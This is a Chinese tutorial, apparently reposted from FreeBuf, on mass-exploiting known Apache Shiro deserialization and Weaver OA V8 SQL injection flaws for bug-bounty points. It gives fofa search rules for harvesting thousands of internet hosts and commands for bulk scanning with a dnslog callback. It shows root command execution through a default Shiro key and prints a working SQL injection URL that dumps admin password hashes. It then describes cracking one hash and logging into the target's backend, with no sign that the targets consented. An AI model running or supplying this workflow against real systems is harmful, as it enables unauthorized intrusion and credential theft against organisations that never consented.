批量漏洞挖掘思路小結
漏洞挖掘是指對應用程序中未知漏洞的探索,通過綜合應用各種技術和工具,盡可能地找出其中的潛在漏洞。一般情況下漏洞挖掘針對單一的應用系統,通過端口掃描、目錄掃描、文件掃描等方式對其安全性進行評估,而本文主要針對Nday和1day的漏洞挖掘,幫助初學者在前期能夠在公益漏洞榜單中刷積分,當然運氣好有時候也能挖掘到大型企業的漏洞,可以提交至專門的src機構獲取現金獎勵。
0x01 整體思路
整體思路主要如下所示,下面通過Shiro反序列化漏洞和泛微OA V8的SQL注入漏洞進行演示。
1、尋找Nday或1day漏洞
2、尋找漏洞所在應用程序特征
3、通過fofaApi導出對應的IP地址
4、通過批量檢測工具對導出的IP地址進行篩選
5、驗證漏洞并進行漏洞利用
6.、編寫漏洞報告并上交src
0x02 漏洞挖掘
Shiro反序列化漏洞
Shiro框架通過記住我的功能,在用戶登陸成功后會生成經過加密并編碼的cookie。cookie的key為RememberMe,并對相關信息進行序列化,先使用aes加密,然后再使用base64編碼處理形成的。在網上關于Shiro反序列化的介紹很多,我這里就只簡單介紹一下,詳情各位可以看下大神們對其源碼的分析。
(一)通過fofa尋找特征
app="Apache-Shiro"
header="rememberme=deleteMe"
header="shiroCookie"
(二)通過fofaApi導出相應的IP地址
項目地址:https://github.com/k-fire/fofa-tool
因為我開了fofa會員,可以直接在fofa.ini中配置郵箱地址和api,然后在下載的腳本目錄下執行語句
python3 fofa-api.py
規則:
{'rule':'app="Apache-Shiro" && header="rememberme=deleteMe"','page':'','size':'10000','fields':'host','is_full':''}

(三)通過批量檢測工具對導出的IP地址進行篩選
項目地址1:https://github.com/arno567/ShiroScanF
項目地址2:https://github.com/sv3nbeast/ShiroScan
1、下載這兩個項目,主要使用ShiroScanF來進行批量檢測
2、從ShiroScan中下載ysoserial.jar放在其目錄下
3、訪問http://ceye.io/profile,獲取dnslog地址(如果沒注冊則需要注冊)

4、修改shiroFscan.py第124行的dnslog地址

5、將fofaapi導出的out.txt中的地址放入目錄url.txt中

6、在ShiroScanF目錄下執行腳本
python3 shiroFscan.py

7、查看dnslog返回的信息

8、利用反序列化攻擊進行攻擊
項目地址1:https://github.com/j1anFen/shiro_attack/releases/tag/2.2
項目地址2:https://github.com/feihong-cs/ShiroExploit-Deprecated/releases/tag/v2.51
1)shiro_attack:
其中密鑰 kPH+bIxk5D2deZiIxcaaaA== 在shiro_attack中不存在,而是kPH+bIxk5D2deZiIxcacaA==,雖然顯示該秘鑰不可用,但是檢查當前利用鏈還是可用的

成功執行命令whoami,執行為root權限

2)ShiroExploit

泛微OA V8 SQL注入漏洞
在泛微OA V8中的getdata.jsp文件里,通過gatData方法將數據獲取并回顯在頁面上,而在getData方法中,判斷請求里cmd參數是否為空,如果不為空,調用proc方法。其中它存在四個參數,分別為空字符串、cmd參數值、request對象以及serverContext對象,通過對cmd參數值進行判斷,當cmd值等于getSelectAllId時,再從請求中獲取sql和type兩個參數值,并將參數傳遞進getSelectAllIds(sql,type)方法中,從而在前臺構造POC語句:
http://xxx.xxx.xxx.xxx/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager
(一)通過fofa尋找特征
app="泛微-協同辦公OA"
(二)通過fofaApi導出相應的IP地址
項目地址:https://github.com/k-fire/fofa-tool
在下載的腳本目錄下執行語句
python3 fofa-api.py
規則:
{'rule':'app="泛微-協同辦公OA"','page':'','size':'10000','fields':'host','is_full':''}

(三)通過批量檢測工具對導出的IP地址進行篩選
項目地址:https://github.com/Yang0615777/PocList
1、進入下載項目下,執行以下命令,將fofaAPI導出地址放入即可進行檢測
java -jar FanWeiOA-V8-SQLinjection.jar

2、訪問其中存在漏洞的網站:http://x.x.x.x/login/Login.jsp?logintype=1,其中該特征屬于泛微OA v8系統

3、通過SQL注入POC獲取管理員密碼:http://x.x.x.x/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager

4、md5解密,得到密碼為 ASD$%^123

5、登錄目標后臺

0x03 總結
本文主要介紹批量挖掘漏洞中的小技巧,希望能幫助到剛入門的小白,如果各位大佬還有其他批量挖掘思路,歡迎在評論區留言探討。
本文作者:特mac0x01, 轉載來自FreeBuf.COM